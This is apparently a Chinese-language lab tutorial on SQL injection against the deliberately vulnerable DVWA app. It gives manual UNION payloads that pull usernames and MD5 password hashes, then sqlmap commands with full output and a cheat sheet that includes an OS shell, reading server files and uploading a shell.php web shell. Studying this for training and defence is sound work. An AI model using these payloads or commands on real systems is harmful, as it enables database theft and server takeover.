SQL 注入实战:DVWA LOW完整测试指南
2026/6/13 19:40:44 网站建设 项目流程

文章目录

    • 1. 环境准备
      • 1.1 获取 Session Cookie
    • 2. 手工 SQL 注入测试
      • 2.1 判断注入点
      • 2.2 确定字段数
      • 2.3 联合查询测试
      • 2.4 获取数据库名
      • 2.5 获取表名(解决字符集冲突)
        • 问题:字符集冲突错误
        • 解决方案:使用 HEX 编码
      • 2.6 获取列名
      • 2.7 获取用户数据
    • 3. Sqlmap 自动化注入
      • 3.1 Sqlmap 简介
      • 3.2 安装与配置
      • 3.3 基础命令详解
        • 命令结构
        • 参数说明
      • 3.4 实战步骤
        • 步骤 1:枚举所有数据库
        • 步骤 2:获取 dvwa 数据库的表
        • 步骤 3:获取 users 表的列名
        • 步骤 4:获取所有用户数据
      • 3.5 注入技术对比
      • 3.6 常用命令速查
        • 获取数据库信息
        • 获取表和数据
        • 高级功能
    • 4. 数据获取与分析
      • 4.1 获取到的完整数据
      • 4.2 密码安全分析
      • 4.3 数据导出格式

1. 环境准备

1.1 获取 Session Cookie

  1. 使用浏览器访问 DVWA 并登录
  2. F12打开开发者工具
  3. 点击Network(网络)标签
  4. 刷新页面,点击任意请求
  5. Request Headers中找到Cookie:
  6. 复制完整的 Cookie 值

示例 Cookie:

PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low

2. 手工 SQL 注入测试

2.1 判断注入点

测试步骤:

在 SQL Injection 页面的输入框中输入:

1'

预期结果:页面报错,说明存在 SQL 注入漏洞。

原因分析:

-- 原始 SQLSELECTfirst_name,last_nameFROMusersWHEREuser_id='1'-- 注入后 SQLSELECTfirst_name,last_nameFROMusersWHEREuser_id='1''-- 多余的单引号导致语法错误

2.2 确定字段数

测试语句:

1'orderby3#

结果:页面报错

测试语句:

1'orderby2#

结果:页面正常

结论:查询语句包含2 个字段

原理说明:

-- order by 3 报错,说明只有 2 列SELECTfirst_name,last_nameFROMusersWHEREuser_id='1'orderby3#-- 第 3 列不存在,导致错误

2.3 联合查询测试

测试语句:

-1'unionselect1,2#

结果:页面显示12

说明:该注入点支持 UNION 查询注入

原理解析:

SELECTfirst_name,last_nameFROMusersWHEREuser_id='-1'UNIONSELECT1,2#

为什么要用 -1?

  • 使用-1确保第一条查询不返回结果
  • 这样 UNION 查询的结果才会显示在页面上

2.4 获取数据库名

注入语句:

-1'unionselect1,database()#

执行结果:

ID: -1' union select 1,database()# First name: 1 Surname: dvwa

结论:当前数据库名为dvwa


2.5 获取表名(解决字符集冲突)

问题:字符集冲突错误

尝试语句:

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

错误信息:

Illegal mix of collations for operation 'UNION'

错误原因:数据库表字符集与查询结果字符集不匹配

解决方案:使用 HEX 编码

注入语句:

-1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema='dvwa'#

执行结果:

Surname:7573657273

十六进制解码:

7573657273 → users

结论:DVWA 数据库包含这个表:

  • users(用户表)

2.6 获取列名

注入语句:

-1' union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name='users'#

执行结果(十六进制):

757365725f69642c66697273745f6e616d652c6c6173745f6e616d652c757365722c70617373776f72642c6176617461722c6c6173745f6c6f67696e2c6661696c65645f6c6f67696e

解码结果:

user_id,first_name,last_name,user,password,avatar,last_login,failed_login

2.7 获取用户数据

注入语句:

-1'unionselect1,hex(group_concat(user,0x3a,password))fromusers#

说明:0x3a是冒号:的十六进制,用于分隔用户名和密码

执行结果(十六进制):

61646d696e3a32313233326632393761353761356137343338393461306534613830316663332c...

解码结果:

admin:21232f297a57a5a743894a0e4a801fc3, gordonb:e99a18c428cb38d5f260853678922e03, 1337:8d3533d75ae2c3966d7e0d4fcc69216b, pablo:0d107d09f5bbe40cade3de5c71e9e9b7, smithy:5f4dcc3b5aa765d61d8327deb882cf99

密码破解(MD5):

用户名MD5 哈希明文密码
admin21232f297a57a5a743894a0e4a801fc3admin
gordonbe99a18c428cb38d5f260853678922e03abc123
13378d3533d75ae2c3966d7e0d4fcc69216bcharley
pablo0d107d09f5bbe40cade3de5c71e9e9b7letmein
smithy5f4dcc3b5aa765d61d8327deb882cf99password

3. Sqlmap 自动化注入

3.1 Sqlmap 简介

Sqlmap是一款开源的 SQL 注入工具,可以:

  • 自动检测和利用 SQL 注入漏洞
  • 支持多种数据库(MySQL、Oracle、PostgreSQL 等)
  • 支持多种注入技术(布尔盲注、错误注入、时间盲注、UNION 查询)
  • 直接获取数据库数据

3.2 安装与配置

Windows 环境:

  1. 下载 sqlmap:
https://github.com/sqlmapproject/sqlmap
  1. 添加到系统 PATH(可选):
[Environment]::SetEnvironmentVariable("Path",$env:Path+";D:\Programs\Tools\sqlmap",[EnvironmentVariableTarget]::User)
  1. 使用方法:
# 方式 1:直接运行(需要配置 PATH)sqlmap.py[选项]# 方式 2:指定完整路径python D:\Programs\Tools\sqlmap\sqlmap.py[选项]# 方式 3:在 sqlmap 目录下运行cd D:\Programs\Tools\sqlmap python sqlmap.py[选项]

3.3 基础命令详解

命令结构
sqlmap-u"目标 URL"--cookie="会话 Cookie"--功能参数
参数说明
参数作用示例
-u指定目标 URL-u "http://..."
--cookie设置 Cookie--cookie="PHPSESSID=xxx; security=low"
--dbs枚举所有数据库--dbs
-D指定数据库-D dvwa
--tables列出表--tables
-T指定表-T users
--columns列出列--columns
--dump导出数据--dump
--batch自动确认--batch
--technique指定注入技术--technique=U

3.4 实战步骤

步骤 1:枚举所有数据库

命令:

python sqlmap.py-u"http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low"--dbs--batch

输出结果:

___ __H__ ___ ___[)]_____ ___ ___ {1.10.6.12#dev} |_ -| . [(] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [*] starting @ 17:46:06 /2026-06-03/ [17:46:08] [INFO] testing connection to the target URL [17:46:08] [INFO] checking if the target is protected by some kind of WAF/IPS [17:46:08] [INFO] testing if the target URL content is stable [17:46:09] [INFO] target URL content is stable [17:46:09] [INFO] testing if GET parameter 'id' is dynamic [17:46:09] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [17:48:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [17:48:13] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' injectable [17:48:18] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [17:48:18] [INFO] GET parameter 'id' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable [17:48:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [17:48:29] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [17:48:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [17:48:29] [INFO] target URL appears to have 2 columns in query [17:48:29] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable sqlmap identified the following injection point(s) with a total of 146 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: id=1' OR NOT 8669=8669#&Submit=Submit Type: error-based Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) Payload: id=1' AND EXTRACTVALUE(3115,CONCAT(0x5c,0x716b706271,(SELECT (ELT(3115=3115,1))),0x71787a7871))-- YXzB&Submit=Submit Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 3061 FROM (SELECT(SLEEP(5)))taHX)-- BpBS&Submit=Submit Type: UNION query Title: MySQL UNION query (NULL) - 2 columns Payload: id=1' UNION ALL SELECT CONCAT(0x716b706271,0x6470647544566f535a6f566f575346624270466947536d744956424a6f41736b7972784c70636646,0x71787a7871),NULL#&Submit=Submit --- [17:51:09] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: PHP 7.3.4, Apache 2.4.39 back-end DBMS: MySQL >= 5.1 [17:51:09] [INFO] fetching database names available databases [2]: [*] dvwa [*] information_schema [*] ending @ 17:51:09 /2026-06-03/

关键信息:

  • 发现4 种注入方式
  • 发现2 个数据库:dvwa、information_schema
  • 后端 DBMS:MySQL >= 5.1
  • Web 服务器:Windows + PHP 7.3.4 + Apache 2.4.39

步骤 2:获取 dvwa 数据库的表

命令:

python sqlmap.py-u"http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low"-D dvwa--tables--batch

输出结果:

Database: dvwa [1 table] +-------+ | users | +-------+

说明:成功获取 dvwa 数据库中的表:users


步骤 3:获取 users 表的列名

命令:

python sqlmap.py-u"http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low"-D dvwa-T users--columns--batch

输出结果:

Database: dvwa Table: users [8 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | user | varchar(15) | | avatar | varchar(70) | | failed_login | int(3) | | first_name | varchar(15) | | last_login | timestamp | | last_name | varchar(15) | | password | varchar(32) | | user_id | int(6) | +--------------+-------------+

字段说明:

字段名类型说明
uservarchar(15)用户名
passwordvarchar(32)密码(MD5 哈希)
user_idint(6)用户 ID
first_namevarchar(15)
last_namevarchar(15)
avatarvarchar(70)头像路径
last_logintimestamp最后登录时间
failed_loginint(3)登录失败次数

步骤 4:获取所有用户数据

命令:

python sqlmap.py-u"http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low"-D dvwa-T users--dump--batch

输出结果:

Database: dvwa Table: users [5 entries] +---------+---------+----------------------------------+---------------------------------------------+---------+------------+---------------------+--------------+ | user_id | user | avatar | password | last_name | first_name | last_login | failed_login | +---------+---------+----------------------------------+---------------------------------------------+---------+------------+---------------------+--------------+ | 1 | admin | /DVWA/hackable/users/admin.jpg | 21232f297a57a5a743894a0e4a801fc3 (admin) | admin | admin | 2026-05-12 23:26:37 | 3 | | 2 | gordonb | /DVWA/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2026-04-23 08:52:29 | 0 | | 3 | 1337 | /DVWA/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2026-04-23 08:52:29 | 0 | | 4 | pablo | /DVWA/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2026-04-23 08:52:29 | 0 | | 5 | smithy | /DVWA/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2026-04-23 08:52:29 | 0 | +---------+---------+----------------------------------+---------------------------------------------+---------+------------+---------------------+--------------+ [17:55:28] [INFO] table 'dvwa.users' dumped to CSV file 'C:\Users\Administrator\AppData\Local\sqlmap\output\192.168.0.107\dump\dvwa\users.csv'

3.5 注入技术对比

注入类型原理速度推荐使用场景
UNION 查询使用 UNION 关键字合并查询结果⭐⭐⭐⭐⭐首选,可直接获取数据
错误注入利用数据库错误信息泄露数据⭐⭐⭐⭐备选方案,速度较快
布尔盲注根据页面返回差异判断⭐⭐其他方法失败时使用
时间盲注根据响应时间判断最后的选择,速度慢

Sqlmap 检测到的注入 Payload:

1. 布尔盲注:

id=1'ORNOT8669=8669#&Submit=Submit

2. 错误注入:

id=1'ANDEXTRACTVALUE(3115,CONCAT(0x5c,0x716b706271,(SELECT(ELT(3115=3115,1))),0x71787a7871))-- YXzB&Submit=Submit

3. 时间盲注:

id=1'AND(SELECT3061FROM(SELECT(SLEEP(5)))taHX)-- BpBS&Submit=Submit

4. UNION 查询:

id=1'UNIONALLSELECTCONCAT(0x716b706271,0x6470647544566f535a6f566f575346624270466947536d744956424a6f41736b7972784c70636646,0x71787a7871),NULL#&Submit=Submit

3.6 常用命令速查

获取数据库信息
# 获取所有数据库sqlmap-u"URL"--cookie="Cookie"--dbs--batch# 获取当前数据库sqlmap-u"URL"--cookie="Cookie"--current-db--batch# 获取数据库用户sqlmap-u"URL"--cookie="Cookie"--current-user--batch# 获取数据库版本sqlmap-u"URL"--cookie="Cookie"--dbms-version--batch
获取表和数据
# 获取指定数据库的所有表sqlmap-u"URL"--cookie="Cookie"-D dvwa--tables--batch# 获取指定表的列sqlmap-u"URL"--cookie="Cookie"-D dvwa-T users--columns--batch# 获取指定表的数据sqlmap-u"URL"--cookie="Cookie"-D dvwa-T users--dump--batch# 获取所有数据库的所有数据sqlmap-u"URL"--cookie="Cookie"--dump-all--batch
高级功能
# 只使用 UNION 注入技术(最快)sqlmap-u"URL"--cookie="Cookie"--technique=U--batch# 获取数据库权限sqlmap-u"URL"--cookie="Cookie"--privileges--batch# 获取操作系统 Shell(高危!)sqlmap-u"URL"--cookie="Cookie"--os-shell--batch# 读取服务器文件sqlmap-u"URL"--cookie="Cookie"--file-read="C:/Windows/win.ini"--batch# 写入文件到服务器sqlmap-u"URL"--cookie="Cookie"--file-write="./shell.php"--file-dest="./DVWA/shell.php"--batch

4. 数据获取与分析

4.1 获取到的完整数据

users 表数据:

user_iduserfirst_namelast_namepassword (MD5)password (明文)
1adminadminadmin21232f297a57a5a743894a0e4a801fc3admin
2gordonbGordonBrowne99a18c428cb38d5f260853678922e03abc123
31337HackMe8d3533d75ae2c3966d7e0d4fcc69216bcharley
4pabloPabloPicasso0d107d09f5bbe40cade3de5c71e9e9b7letmein
5smithyBobSmith5f4dcc3b5aa765d61d8327deb882cf99password

4.2 密码安全分析

问题:

  1. 所有密码都使用MD5哈希(不安全)
  2. 密码强度极弱(如 admin、abc123、password)
  3. 没有使用盐值(salt)

MD5 哈希特点:

  • 快速计算
  • 容易受到彩虹表攻击
  • 不适合存储密码

推荐方案:

  • 使用bcryptArgon2PBKDF2
  • 添加随机盐值
  • 增加计算成本因子

4.3 数据导出格式

Sqlmap 支持多种导出格式:

CSV 文件:

user_id,user,avatar,password,last_name,first_name,last_login,failed_login 1,admin,/DVWA/hackable/users/admin.jpg,21232f297a57a5a743894a0e4a801fc3,admin,admin,2026-05-12 23:26:37,3

SQL 文件:

INSERTINTOusersVALUES(1,'admin','admin','21232f297a57a5a743894a0e4a801fc3',...);

⚠️ 法律免责声明:

本文所有技术内容仅用于学习和研究目的。未经授权对他人系统进行测试是违法行为。请在使用本文所述技术时,确保您已获得合法授权。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询